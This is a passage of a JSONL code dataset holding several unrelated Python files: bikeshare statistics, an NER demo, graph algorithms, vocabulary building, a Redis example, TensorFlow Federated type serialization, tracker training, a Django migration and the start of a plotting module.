df['Start Hour'].count()\n    morning, afternoon, evening, night = 0, 0, 0, 0\n    for hour, cnt in df.groupby(['Start Hour'])['Start Hour'].count().iteritems():\n        if (hour > 5 and hour <= 12):\n            morning += cnt\n        elif (hour > 12 and hour <= 16):\n            afternoon += cnt\n        elif (hour > 16 and hour <= 21):\n            evening  += cnt\n        else:\n            night += cnt\n    print('\\nMost Common Day Part as Start Hour:\\n - Morning: {:.2%}\\n - Afternoon: {:.2%}\\n - Evening: {:.2%}\\n - Night: {:.2%}'.format(morning/star_hour_cnt, afternoon/star_hour_cnt, evening/star_hour_cnt, night/star_hour_cnt))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\n    \n    Arg:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # display most frequent combination of start station and end station trip\n    station_trip = '- START STATION: ' + df['Start Station'] + ' / ' + 'END STATION: ' + df['End Station']\n    print('\\nMost Frequent Combination of Start Station and End Station:\\n {}'.format(station_trip.mode()[0]))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef trip_duration_stats(df, day):\n    \"\"\"Displays statistics on the total and average trip duration.\n    \n    Arg:\n        df - Pandas DataFrame containing city data filtered by month and day (if applicable)\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # display the total of travel time\n    print('Total Travel Time: {:,}'.format(df['Trip Duration'].sum()))\n\n    # display the mean of the travel time\n    print('\\nMean Travel Time: {:.2f}'.format(df['Trip Duration'].mean()))\n\n    # display the total of travel time by day of the week\n    if day == 'all':\n        print('\\nAccording the day, Total Travel Time are divided into:')\n        for day, total in df.groupby(['Weekday'])['Trip Duration'].sum().sort_values(ascending=False).iteritems():\n            print(' - {}: {:,} ({:.2%})'.format(day, total, total / df['Trip Duration'].sum()))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef user_stats(df, city):\n    \"\"\"Displays statistics on bikeshare users.\n    \n    Arg:\n        df - Pandas DataFrame containing city data filtered by month and day (if applicable)\n        (str) city - name of the city to analyze\n    \"\"\"\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # Display counts of user types if the information was available\n    if 'User Type' in df.columns:\n        print('According to the type, users are divided into:')\n        for user_type, cnt in df['User Type'].value_counts().iteritems():\n            print(' - {}: {:,} ({:.2%})'.format(user_type, cnt, cnt / df['User Type'].count()))\n    else:\n        print('User Type statistics are not available for {}!'.format(city.capitalize()))\n\n    # Display counts of gender if the information was available\n    if 'Gender' in df.columns:\n        print('\\nAccording to the gender, users are divided into:')\n        for user_gender, cnt in df['Gender'].value_counts().iteritems():\n            print(' - {}: {:,} ({:.2%})'.format(user_gender, cnt, cnt / df['Gender'].count()))\n    else:\n        print('\\nGender statistics are not available for {}!'.format(city.capitalize()))\n\n    # Display the birth year statistics if the information was available\n    if 'Birth Year' in df.columns:\n        print('\\nBirth Year statistics:')\n        # Display the earliest year of birth\n        print(' - Earliest year of birth: {}'.format(int(df['Birth Year'].min())))\n        # Display the most recent year of birth\n        print(' - Most Recent year of birth: {}'.format(int(df['Birth Year'].max())))\n        # Display the most common year of birth\n        print(' - Most Common year of birth: {}'.format(int(df['Birth Year'].mode()[0])))\n    else:\n        print('\\nBirth Year statistics are not available for {}!'.format(city.capitalize()))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef display_data(df):\n    \"\"\"Displays the raw data.\n    \n    Arg:\n        df - Pandas DataFrame containing city data filtered by month and day (if applicable)\n    \"\"\"\n    rows = 0\n    # while the user input was 'yes', displays five rows from the last row displayed\n    while True:\n        display = input('\\nDo you want to see the raw data? Enter yes or no.\\n').lower()\n        if display == 'yes':\n            add_rows = df.iloc[rows:rows+5]\n            print(add_rows)\n            rows += 5\n        else:\n            break\n\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n\n        time_stats(df)\n        station_stats(df)\n        trip_duration_stats(df, day)\n        user_stats(df, city)\n        display_data(df)\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":10324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"145717444","text":"import sys\nsys.path.insert(1,\"C:\\\\Users\\\\manishk\\\\Desktop\\\\practice\")\nfrom name_global import fn\nclass legs:\n    def __init__(self,exercise_type):\n        self.list1=[\"leg press\"]\n        return\n        # print(f\"excercises for chest are{self.list1}\")\n    def legs(self):\n        # path=os.path.abspath(__file__)\n        print(__name__, self.list1[0])\n        # return self.list1\n\nvalue=list(fn())\nobj=legs(value[3])\nobj.legs()","sub_path":"gym/legs.py","file_name":"legs.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"223597165","text":"import tensorflow as tf\nimport os, gc\nfrom main import model_path, paths, config, embeddings, word2id\nfrom model import BiLSTM_CRF\n\n\n# result_path = 'ner_demo'\ndef predictNER(direction):\n    sentences = direction.split('。')\n    ckpt_file = tf.train.latest_checkpoint(model_path)\n    print(ckpt_file)\n    paths['model_path'] = ckpt_file\n    model = BiLSTM_CRF(embeddings, word2id, config, paths)\n    model.buildGraph()\n    saver = tf.train.Saver()\n\n    with tf.Session(config=config) as sess:\n        print(\"============= demo ==============\")\n        saver.restore(sess, paths['model_path'])\n\n        results = []\n        for sents in sentences:\n            sents = list(sents.strip())\n            data = [(sents, ['O']*len(sents))]\n            tags = model.demoOne(sess, data)\n            # fw = open(result_path, 'a+', encoding='utf-8')\n            # for sent, tag in zip(sents, tags):\n            #     fw.write(str(sent) + ' ' + str(tag) + '\\n')\n            # fw.write('\\n')\n            # fw.close()\n            results.append([sents, tags])\n        return results\n\nstring = ''\ndirection = '对头孢菌素类药物过敏者、严重肝功能障碍者、中度或严重肾功能障碍者及有哮喘、湿疹、枯草热、荨麻疹等过敏性疾病史者慎用。' \\\n            '本品适用于革兰氏阳性菌引起的下列各种感染性疾病：扁桃体炎、化脓性中耳炎、鼻窦炎等。急性支气管炎、慢性支气管炎急性发作、肺炎、肺脓肿和支气管扩张合并感染等。'\nprint(predictNER(direction))","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"215821432","text":"# this is actually from hackerearth\nimport sys\nfrom functools import reduce\nsys.stdin = open(\"/home/maksim/dev_projects/hackerrank/graph_theory/strongly_connected_components/input/input00.txt\",\"r\")\n\nn,m = map(int,input().strip().split())\nadj_mat = [[0 for _ in range(n)] for __ in range(n)]\nfor _ in range(m):\n    u,v = map(int,input().strip().split())\n    adj_mat[u-1][v-1] = 1\n\n# print('\\n'.join(map(str,adj_mat)))\nvisited = set()\nclosed = []\nfor u in range(n):\n    if u in visited:\n        continue\n    visited.add(u) # visited reflects being, or having been in the stack already\n    stk = [[u,0]] # 0 indicates opened\n    while stk:\n        l = stk[-1]\n        v,t = l\n        if t == 1:\n            stk.pop()\n            closed.append(v)\n            continue\n        for w,e in enumerate(adj_mat[v]):\n            if w not in visited and e != 0:\n                stk.append([w,0])\n                visited.add(w)\n        l[1] = 1 # indicates closed\n# print(closed)        \ntranspose_mat = list(zip(*adj_mat))\n# print('\\n'.join(map(str,transpose_mat)))\nvisited.clear()\n# print(visited)\nscc = []\nwhile closed:\n    u = closed.pop()\n    if u in visited:\n        continue\n    visited.add(u)\n    u_component = set()\n    stk = [u]\n    while stk:\n        v = stk.pop()\n        u_component.add(v)\n        for w,e in enumerate(transpose_mat[v]):\n#             print(v,w,e,visited)\n            if w not in visited and e != 0:\n                \n                stk.append(w)\n                visited.add(w)\n    scc.append(u_component)\n# print(scc)\nprint(reduce(lambda x,y: x+len(y) if len(y)%2 else x-len(y),scc,0))\n","sub_path":"graph_theory/strongly_connected_components/scc.py","file_name":"scc.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"629593603","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 11 14:33:02 2018\n\n@author: liyt\n\"\"\"\n\nclass Voc:\n    def __init__(self, name):\n        self.name = name\n        self.trimmed = False\n        self.word2index = {}\n        self.word2count = {'PAD':10, 'SOS':10, 'EOS':10, '<Unknown>':10}\n        self.index2word = {0: \"PAD\", 1: \"SOS\", 2: \"EOS\", 3: \"<Unknown>\"}\n        self.n_words = 4 # Count default tokens\n\n    def index_words(self, sentence):\n        for word in sentence.split(' '):\n            self.index_word(word)\n\n    def index_word(self, word):\n        if word not in self.word2index:\n            self.word2index[word] = self.n_words\n            self.word2count[word] = 1\n            self.index2word[self.n_words] = word\n            self.n_words += 1\n        else:\n            self.word2count[word] += 1\n\n    # Substitute words below a certain count threshold with unknown \n    def trim(self, min_count):\n        if self.trimmed: return\n        self.trimmed = True\n        \n        keep_words = []\n        \n        for k, v in self.word2count.items():\n            if v > min_count:\n                keep_words.append(k)\n\n        print('keep_words %s / %s = %.4f' % (\n            len(keep_words), len(self.word2index), len(keep_words) / len(self.word2index)\n        ))\n\n        # Reinitialize dictionaries\n        self.word2index = {'PAD':0, 'SOS':1, 'EOS':2, '<Unknown>':3}\n        self.word2count = {'PAD':10, 'SOS':10, 'EOS':10, '<Unknown>':10}\n        self.index2word = {0: \"PAD\", 1: \"SOS\", 2: \"EOS\", 3: \"<Unknown>\"}\n        self.n_words = 4 # Count default tokens\n\n        for word in keep_words:\n            self.index_word(word)\n\n\n\n\ndef filter_pairs(pairs, sentence_num = 3, Min_Length = 3, Max_Length = 150):\n    # Filter Sentence Length\n    filtered_pairs = []\n    for pair in pairs:\n        # Two condition must satisfied\n        if (len(pair[0].split(' ')) >= Min_Length and len(pair[0].split(' ')) <= Max_Length) \\\n            and (len(pair[1].split(' ')) >= Min_Length and len(pair[1].split(' ')) <= Max_Length):\n                filtered_pairs.append(pair)\n    return filtered_pairs\n\ndef prepare_data(voc_input, voc_output, data):\n    print(\"Read %d sentence pairs\" % len(data))\n    \n    data_min_max_length = filter_pairs(data)\n    print(\"Filtered to %d pairs\" % len(data_min_max_length))\n    \n    print(\"Indexing words...\")\n    for pair in data_min_max_length:\n        voc_input.index_words(pair[0])\n        voc_input.index_words(pair[1])\n        voc_output.index_words(pair[0])\n        voc_output.index_words(pair[1])\n    \n    print('Indexed %d words in input language, %d words in output' % (voc_input.n_words, voc_input.n_words))\n    \n    return voc_input, voc_input, data_min_max_length\n\n\n# Build vocabulay:\ndef build_voc(data, Min_count = 3):\n    voc_encoder = Voc('Text_generation_encoder')\n    voc_decoder = Voc('Text_generation_decoder')\n        \n    # trim those sentence length less than 2, large than 150\n    voc_input, voc_output, data_clean_0 = prepare_data(voc_encoder, voc_decoder, data)\n    \n    # Filtering vocabularies -  Vocabulary get small - Min_count = 3, otherwise Unknown\n    voc_input.trim(Min_count)  \n    voc_output.trim(Min_count)\n    \n    keep_pairs = [] \n    for pair in data_clean_0:\n        input_sentence_0 = pair[0].split(' ')\n        output_sentence_1 = pair[1].split(' ')\n        \n        # Use unknown token substitute the low freq word\n        for i in range(len(input_sentence_0)):\n            if input_sentence_0[i] not in voc_input.word2index:\n                input_sentence_0[i] = '<Unknown>'\n        for j in range(len(output_sentence_1)):\n            if output_sentence_1[j] not in voc_input.word2index:\n                output_sentence_1[j] = '<Unknown>'\n        \n        input_sentence_0 = ' '.join(word for word in input_sentence_0)\n        output_sentence_1 = ' '.join(word for word in output_sentence_1)\n        pair = [input_sentence_0, output_sentence_1]\n        keep_pairs.append(pair)\n      \n    #print(\"Trimmed from %d pairs to %d, %.4f of total\" % (len(data_clean_0), len(keep_pairs), len(keep_pairs) / len(data_clean_0)))\n    train_encoder = []\n    train_decoder = []\n    for i in range(len(keep_pairs)):\n        train_encoder.append(keep_pairs[i][0])\n        train_decoder.append(keep_pairs[i][1])\n    # Add <Unknown> to vocabulary.\n    voc_input.index_words('<Unknown>')\n    voc_output.index_words('<Unknown>')\n\n    # Encoder input and output share one vocabulary\n    \n    return keep_pairs, train_encoder, train_decoder, voc_input, voc_input \n\n    \n    \n    \n    \n    ","sub_path":"baseline1_seq2seq/create_voc_4.py","file_name":"create_voc_4.py","file_ext":"py","file_size_in_byte":4565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"593587827","text":"# redis's type: string // hash // list // set\n# date: 2019/08/23\n\n\nimport redis\n\n\npool = redis.ConnectionPool(host='192.168.161.10', port=6379, db=0)\nclient = redis.Redis(connection_pool=pool)\n\n# string: 字符串类型\nclient.set(name='pycloud1901', value='very good')\nresult = str(client.get(name='pycloud1901'), 'utf8')\nprint(result, type(result))\n\n","sub_path":"02.pythonbasis/14.redis_opera/01.redis_opera.py","file_name":"01.redis_opera.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"359941844","text":"# Copyright 2018, The TensorFlow Federated Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"A library of (de)serialization functions for computation types.\"\"\"\n\nimport weakref\n\nimport tensorflow as tf\n\nfrom tensorflow_federated.proto.v0 import computation_pb2 as pb\nfrom tensorflow_federated.python.common_libs import structure\nfrom tensorflow_federated.python.core.impl.types import computation_types\nfrom tensorflow_federated.python.core.impl.types import placements\n\n\ndef _to_tensor_type_proto(\n    tensor_type: computation_types.TensorType,\n) -> pb.TensorType:\n  shape = tensor_type.shape\n  if shape.dims is None:\n    dims = None\n    unknown_rank = True\n  else:\n    dims = [d.value if d.value is not None else -1 for d in shape.dims]\n    unknown_rank = False\n  return pb.TensorType(\n      dtype=tensor_type.dtype.base_dtype.as_datatype_enum,\n      dims=dims,\n      unknown_rank=unknown_rank,\n  )\n\n\ndef _to_tensor_shape(tensor_type_proto: pb.TensorType) -> tf.TensorShape:\n  if tensor_type_proto.unknown_rank:\n    return tf.TensorShape(None)\n  elif not hasattr(tensor_type_proto, 'dims'):\n    return tf.TensorShape([])\n  dims = [dim if dim >= 0 else None for dim in tensor_type_proto.dims]\n  return tf.TensorShape(dims)\n\n\n# Manual cache used rather than `cachetools.cached` due to incompatibility\n# with `WeakKeyDictionary`. We want to use a `WeakKeyDictionary` so that\n# cache entries are destroyed once the types they index no longer exist.\n_type_serialization_cache = weakref.WeakKeyDictionary({})\n\n\ndef serialize_type(type_spec: computation_types.Type) -> pb.Type:\n  \"\"\"Serializes 'type_spec' as a pb.Type.\n\n  Note: Currently only serialization for tensor, named tuple, sequence, and\n  function types is implemented.\n\n  Args:\n    type_spec: A `computation_types.Type`.\n\n  Returns:\n    The corresponding instance of `pb.Type`.\n\n  Raises:\n    TypeError: if the argument is of the wrong type.\n    NotImplementedError: for type variants for which serialization is not\n      implemented.\n  \"\"\"\n  cached_proto = _type_serialization_cache.get(type_spec, None)\n  if cached_proto is not None:\n    return cached_proto\n  if isinstance(type_spec, computation_types.TensorType):\n    proto = pb.Type(tensor=_to_tensor_type_proto(type_spec))\n  elif isinstance(type_spec, computation_types.SequenceType):\n    proto = pb.Type(\n        sequence=pb.SequenceType(element=serialize_type(type_spec.element))\n    )\n  elif isinstance(type_spec, computation_types.StructType):\n    proto = pb.Type(\n        struct=pb.StructType(\n            element=[\n                pb.StructType.Element(name=e[0], value=serialize_type(e[1]))\n                for e in structure.iter_elements(type_spec)\n            ]\n        )\n    )\n  elif isinstance(type_spec, computation_types.FunctionType):\n    if type_spec.parameter is not None:\n      serialized_parameter = serialize_type(type_spec.parameter)\n    else:\n      serialized_parameter = None\n    proto = pb.Type(\n        function=pb.FunctionType(\n            parameter=serialized_parameter,\n            result=serialize_type(type_spec.result),\n        )\n    )\n  elif isinstance(type_spec, computation_types.PlacementType):\n    proto = pb.Type(placement=pb.PlacementType())\n  elif isinstance(type_spec, computation_types.FederatedType):\n    proto = pb.Type(\n        federated=pb.FederatedType(\n            member=serialize_type(type_spec.member),\n            placement=pb.PlacementSpec(\n                value=pb.Placement(uri=type_spec.placement.uri)\n            ),\n            all_equal=type_spec.all_equal,\n        )\n    )\n  else:\n    raise NotImplementedError\n\n  _type_serialization_cache[type_spec] = proto\n  return proto\n\n\ndef deserialize_type(type_proto: pb.Type) -> computation_types.Type:\n  \"\"\"Deserializes 'type_proto' as a `tff.Type`.\n\n  Note: Currently only deserialization for tensor, named tuple, sequence, and\n  function types is implemented.\n\n  Args:\n    type_proto: A `pb.Type` to deserialize.\n\n  Returns:\n    The corresponding instance of `tff.Type`.\n\n  Raises:\n    TypeError: If the argument is of the wrong type.\n    NotImplementedError: For type variants for which deserialization is not\n      implemented.\n  \"\"\"\n  type_variant = type_proto.WhichOneof('type')\n  if type_variant == 'tensor':\n    tensor_proto = type_proto.tensor\n    return computation_types.TensorType(\n        dtype=tf.dtypes.as_dtype(tensor_proto.dtype),\n        shape=_to_tensor_shape(tensor_proto),\n    )\n  elif type_variant == 'sequence':\n    return computation_types.SequenceType(\n        deserialize_type(type_proto.sequence.element)\n    )\n  elif type_variant == 'struct':\n\n    def empty_str_to_none(s):\n      if not s:\n        return None\n      return s\n\n    return computation_types.StructType(\n        [\n            (empty_str_to_none(e.name), deserialize_type(e.value))\n            for e in type_proto.struct.element\n        ],\n        convert=False,\n    )\n  elif type_variant == 'function':\n    if type_proto.function.HasField('parameter'):\n      parameter_type = deserialize_type(type_proto.function.parameter)\n    else:\n      parameter_type = None\n    result_type = deserialize_type(type_proto.function.result)\n    return computation_types.FunctionType(\n        parameter=parameter_type, result=result_type\n    )\n  elif type_variant == 'placement':\n    return computation_types.PlacementType()\n  elif type_variant == 'federated':\n    placement_oneof = type_proto.federated.placement.WhichOneof('placement')\n    if placement_oneof == 'value':\n      return computation_types.FederatedType(\n          member=deserialize_type(type_proto.federated.member),\n          placement=placements.uri_to_placement_literal(\n              type_proto.federated.placement.value.uri\n          ),\n          all_equal=type_proto.federated.all_equal,\n      )\n    else:\n      raise NotImplementedError(\n          'Deserialization of federated types with placement spec as {} '\n          'is not currently implemented yet.'.format(placement_oneof)\n      )\n  else:\n    raise NotImplementedError('Unknown type variant {}.'.format(type_variant))\n","sub_path":"tensorflow_federated/python/core/impl/types/type_serialization.py","file_name":"type_serialization.py","file_ext":"py","file_size_in_byte":6545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"251868184","text":"import json\nimport requests\nimport tkinter\nfrom tkinter import *\n\n\ndef saveFile(username):\n    with open('users.txt', 'a+') as file:\n        # a+ = append + create file if doesn't exist\n        file.write('username: ' + username + \"\\n\")\n    \n    \n\ntry:\n    response = requests.get('https://uinames.com/api/').json()\n    print('Saving file')\n    username = response['name']\n    saveFile(username)\nexcept Exception as e:\n    print('Bad response from the server: ' + str(e))\n\n\nroot = Tk()\n\nvar = StringVar()\nlabel = Label( root, textvariable = var, relief = RAISED )\nbutton = Button(root, text=\"OK\", command=root.destroy)\n\nvar.set(username)\nlabel.pack()\nbutton.pack()\nroot.mainloop()","sub_path":"iot-examen-master/consume-api.py","file_name":"consume-api.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"121734875","text":"import os\nimport sys\nimport torch\nimport time\nimport argparse\n\nfrom torch.utils.data import DataLoader\nfrom got10k.datasets import GOT10k\n\nfrom loaders import Sequential\nfrom trackers import TrackerSiamFC\nfrom models import DSSiamFC\n\nif __name__ == '__main__':\n\n    # handle commandline arguments\n    p = argparse.ArgumentParser()\n    p.add_argument('--save', help='path to save epochs to', type=str)\n    p.add_argument('--root', help='path to dataset', type=str)\n    p.add_argument('--batch_size', help='size of batches', type=int)\n    p.add_argument('--num_workers', help='number of cpu workers', type=int)\n    p.add_argument('--seq_len', help='length of instance sequence', type=int)\n    args = p.parse_args(sys.argv[1:])\n\n    start = time.time()\n\n    # setup dataset\n    root_dir = os.path.expanduser(args.root)\n    seq_dataset = GOT10k(root_dir, subset='train', return_meta=False)\n    seq_dataset = Sequential(seq_dataset, n=args.seq_len, max_drift=50)\n\n    # setup data loader\n    cuda = torch.cuda.is_available()\n    loader = DataLoader(\n        seq_dataset, batch_size=args.batch_size, shuffle=True,\n        pin_memory=cuda, drop_last=True, num_workers=args.num_workers)\n\n    # setup tracker\n    tracker = TrackerSiamFC(backbone=DSSiamFC(n=args.seq_len))\n\n    # path for saving checkpoints\n    net_dir = os.path.expanduser(args.save)\n    if not os.path.exists(net_dir):\n        os.makedirs(net_dir)\n\n    # training loop\n    epoch_num = 50\n    for epoch in range(epoch_num):\n        for step, batch in enumerate(loader):\n            loss = tracker.ds_step(\n                batch, backward=True, update_lr=(step == 0))\n            if step % 20 == 0:\n                print('Epoch [{}][{}/{}]: Loss: {:.3f} Time: {:.3f} (s)'.format(\n                    epoch + 1, step + 1, len(loader), loss, (time.time() - start)))\n                sys.stdout.flush()\n\n        # save checkpoint\n        net_path = os.path.join(net_dir, 'dssiam_n=' + str(args.seq_len) + '_e%d.pth' % (epoch + 1))\n        torch.save(tracker.net.state_dict(), net_path)\n\n    print('Total time:', time.time() - start)\n","sub_path":"train-dssiam.py","file_name":"train-dssiam.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"25486674","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('ledger', '0008_auto_20141117_0118'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='budget',\n            name='year',\n            field=models.IntegerField(default=0),\n            preserve_default=False,\n        ),\n        migrations.AlterField(\n            model_name='budget',\n            name='category',\n            field=models.ForeignKey(to='ledger.Category', on_delete=django.db.models.deletion.PROTECT),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='budget',\n            name='month',\n            field=models.IntegerField(),\n            preserve_default=True,\n        ),\n        migrations.DeleteModel(\n            name='Month',\n        ),\n        migrations.AlterUniqueTogether(\n            name='budget',\n            unique_together=set([('year', 'month', 'category')]),\n        ),\n    ]\n","sub_path":"moneybin/ledger/migrations/0009_auto_20141122_0245.py","file_name":"0009_auto_20141122_0245.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"531055274","text":"\"\"\"\nProvides various types of plots and plotting utilities\n\"\"\"\n\nfrom .Graphics import Graphics, Graphics3D, GraphicsGrid\nimport numpy as np\nimport matplotlib.figure\nimport matplotlib.axes\n\n__all__ = [\n    \"Plot\", \"DataPlot\", \"ArrayPlot\", \"TensorPlot\",\n    \"Plot2D\", \"ListPlot2D\",\n    \"Plot3D\", \"ListPlot3D\",\n    \"CompositePlot\"\n]\n\n######################################################################################################\n#\n#                                    'adaptive' function sampling\n#\n#\n# region function application\ndef _apply_f(f, grid):\n    try:\n        vals = f(grid)\n    except:\n        vals = np.vectorize(f)(grid)\n\n    return vals\n\ndef _semi_adaptive_sample_func(f, xmin, xmax, npts=150, max_refines=10, der_cut=10**5):\n\n    refines = 0\n    der_good = False\n\n    try:\n        from ..Zachary import finite_difference\n    except ImportError:\n        pass\n    else:\n        while refines < max_refines and not der_good:\n            grid = np.linspace(xmin, xmax, npts)\n            vals = _apply_f(f, grid)\n            ders = finite_difference(grid, vals, 1, 5)\n            der_good = not np.any(abs(ders) > der_cut)\n            npts *= 2\n            refines += 1\n\n    if refines == 0:  # edge case\n        grid = np.linspace(xmin, xmax, npts)\n        vals = _apply_f(f, grid)\n\n    return grid, vals, npts, refines\n\ndef _semi_adaptive_sample_func2(f, xmin, xmax, ymin, ymax, npts=15, max_refines=10, der_cut=10**5):\n    from ..Zachary import finite_difference\n\n    refines = 0\n    der_good = False\n    try:\n        from ..Zachary import finite_difference\n    except ImportError:\n        pass\n    else:\n        while refines < max_refines and not der_good:\n            grid = np.array(np.meshgrid(np.linspace(xmin, xmax, npts), np.linspace(ymin, ymax, npts))).T\n            vals = _apply_f(f, grid)\n            ders = finite_difference(grid, vals, (1, 1), (5, 5))\n            der_good = not np.any(abs(ders) > der_cut)\n            npts *= 2\n            refines += 1\n\n    if refines == 0:  # edge case\n        grid = np.linspace(xmin, xmax, npts)\n        vals = _apply_f(f, grid)\n\n    return grid, vals, npts, refines\n# endregion\n\n\n######################################################################################################\n#\n#                                    Plot data methods\n#\n#\n# region plot data prep\ndef _interp2DData(gpts, **opts):\n    from scipy.interpolate import griddata\n\n    x = np.sort(gpts[:, 0])\n    y = np.sort(gpts[:, 1])\n\n    xmin = np.min(x); xmax = np.max(x)\n\n    xdiffs = np.abs(np.diff(x)); xh = np.min(xdiffs[np.nonzero(xdiffs)])\n    ymin = np.min(y); ymax = np.max(y)\n    ydiffs = np.abs(np.diff(y)); yh = np.min(xdiffs[np.nonzero(ydiffs)])\n\n    num_x = (xmin - xmax) / xh\n    if 5 > num_x or num_x < 10000:  # don't want to get too wild\n        num_x = 100  # okay but let's get a little wild\n    num_y = (ymin - ymax) / yh\n    if 5 > num_y or num_y < 10000:  # don't want to get too wild\n        num_y = 100  # okay but let's get a little wild\n\n    # import sys\n    # print(num_x, num_y, file = sys.stderr)\n\n    xmesh = np.linspace(xmin, xmax, num_x); ymesh = np.linspace(ymin, ymax, num_y)\n    xmesh, ymesh = np.meshgrid(xmesh, ymesh)\n    mesh = np.array((xmesh, ymesh)).T\n    vals = griddata(gpts[:, (0, 1)], gpts[:, 2], mesh, **opts)\n\n    return xmesh, ymesh, vals.T\n\ndef _get_2D_plotdata(func, xrange):\n    if hasattr(func, 'subs'):\n        from sympy import lambdify\n        sym, xrange = xrange\n        xrange = np.arange(*xrange)\n        fvalues = lambdify([sym], func)(xrange)\n    elif not callable(func):\n        fvalues = xrange\n        xrange = func\n    else:\n        if len(xrange) == 3 and abs(xrange[2]) < abs(xrange[1] - xrange[0]):\n            xrange = np.arange(*xrange)\n            fvalues = _apply_f(func, xrange)\n        elif len(xrange) > 2:\n            fvalues = _apply_f(func, xrange)\n        else:\n            res = _semi_adaptive_sample_func(func, *xrange)\n            xrange = res[0]\n            fvalues = res[1]\n    return xrange, fvalues\n\ndef _get_3D_plotdata(func, xrange, yrange):\n    if not callable(func):\n        fvalues = yrange\n        yrange = xrange\n        xrange = func\n    else:\n        if len(xrange) == 3 and abs(xrange[2]) < abs(xrange[1] - xrange[0]):\n            xrange = np.arange(*xrange)\n            yrange = np.arange(*yrange)\n            xrange, yrange = mesh = np.meshgrid(xrange, yrange)\n            fvalues = _apply_f(func, mesh)\n        elif len(xrange) > 2 and len(yrange) > 2:\n            xrange, yrange = mesh = np.meshgrid(xrange, yrange)\n            fvalues = _apply_f(func, mesh)\n        else:\n            res = _semi_adaptive_sample_func2(func, *xrange, *yrange)\n            xrange, yrange = res[0].T\n            fvalues = res[1]\n\n    return xrange, yrange, fvalues\n# endregion\n\n######################################################################################################\n#\n#                                    Unified PlotBase class\n#\n#\n# Never implemented this\n\n######################################################################################################\n#\n#                                    2D Plots on 2D Axes\n#\n#\nclass Plot(Graphics):\n    \"\"\"\n    The base plotting class to interface into matplotlib or (someday 3D) VTK.\n    In the future hopefully we'll be able to make a general-purpose `PlottingBackend` class that doesn't need to be `matplotlib` .\n    Builds off of the `Graphics` class to make a unified and convenient interface to generating plots.\n    Some sophisticated legwork unfortunately has to be done vis-a-vis tracking constructed lines and other plotting artefacts,\n    since `matplotlib` is designed to infuriate.\n    \"\"\"\n\n    line_params = {\n        \"linewidth\", \"linestyle\", \"color\", \"marker\", \"markersize\",\n        \"markeredgewidth\", \"markeredgecolor\", \"markerfacecolor\", \"markerfacecoloralt\",\n        \"fillstyle\", \"antialiased\", \"dash_capstyle\", \"solid_capstyle\",\n        \"dash_joinstyle\", \"solid_joinstyle\", \"pickradius\", \"drawstyle\", \"markevery\",\n        'gid'\n    }\n    patch_parms = {\n        \"agg_filter\", \"alpha\", \"animated\", \"antialiased\", \"capstyle\",\n        \"clip_box\", \"clip_on\", \"clip_path\", \"color\", \"edgecolor\", \"facecolor\",\n        \"figure\", \"fill\", \"gid\", \"hatch\", \"in_layout\", \"joinstyle\",\n         \"label\", \"linestyle\", \"linewidth\", \"path_effects\",\n        \"picker\", \"rasterized\", \"sketch_params\", \"snap\",\n        \"transform\", \"url\", \"visible\", \"zorder\"\n    }\n\n    opt_keys = Graphics.opt_keys | {\"plot_style\"}\n\n    default_plot_style = {}\n    style_mapping = {\"format\":\"fmt\"}\n    known_styles = {\"fmt\"} | line_params\n    method = \"plot\"\n    def __init__(self,\n                 *params,\n                 method=None,\n                 figure=None, axes=None, 